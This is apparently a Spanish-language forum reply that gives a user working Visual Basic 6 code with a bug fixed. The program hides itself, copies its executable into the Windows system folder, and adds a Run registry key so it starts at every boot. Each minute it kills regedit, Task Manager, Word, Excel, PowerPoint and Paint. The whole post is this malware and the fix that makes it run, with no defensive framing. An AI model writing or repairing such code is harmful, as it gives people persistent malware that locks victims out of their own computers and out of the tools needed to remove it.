Hola Manifest_06, buen día. Aquí te dejo tu código.
Agregar 1 control CommandButton, 1 control Timer e insertar el siguiente código en un...
Formulario
Private Sub Command1_Click()
Form1.Visible = False
Timer1.Interval = 60000
ejec = App.Path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\" '
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1.exe"
On Error Resume Next
Name sys & "\nombre1.exe" As sys & "\nombre2.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe" 'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False
End Sub
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
KillProcess ("regedit.exe")
KillProcess ("taskmgr.exe")
KillProcess ("powerpnt.exe")
KillProcess ("excel.exe")
KillProcess ("mspaint.exe")
KillProcess ("winword.exe")
End Sub
Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = _
LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, _
LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
Exit Sub
ErrHandler:
Err.Clear
End Sub
El error se encontraba al momento de renombrar el archivo ejecutable llamado nombre2.exe, para solucionar esto simplemente debes utilizar una captura o control de errores, en este caso utilicé un control de errores:
On Error Resume Next.
El error se debía a que intentas renombrar un archivo ya existente, por eso es útil el control de errores ya que el archivo ya existe con el nombre que deseas y por ende, ya no se requiere renombrarlo.
También puedes utilizar una comprobación de existencia de archivo. Nos vemos.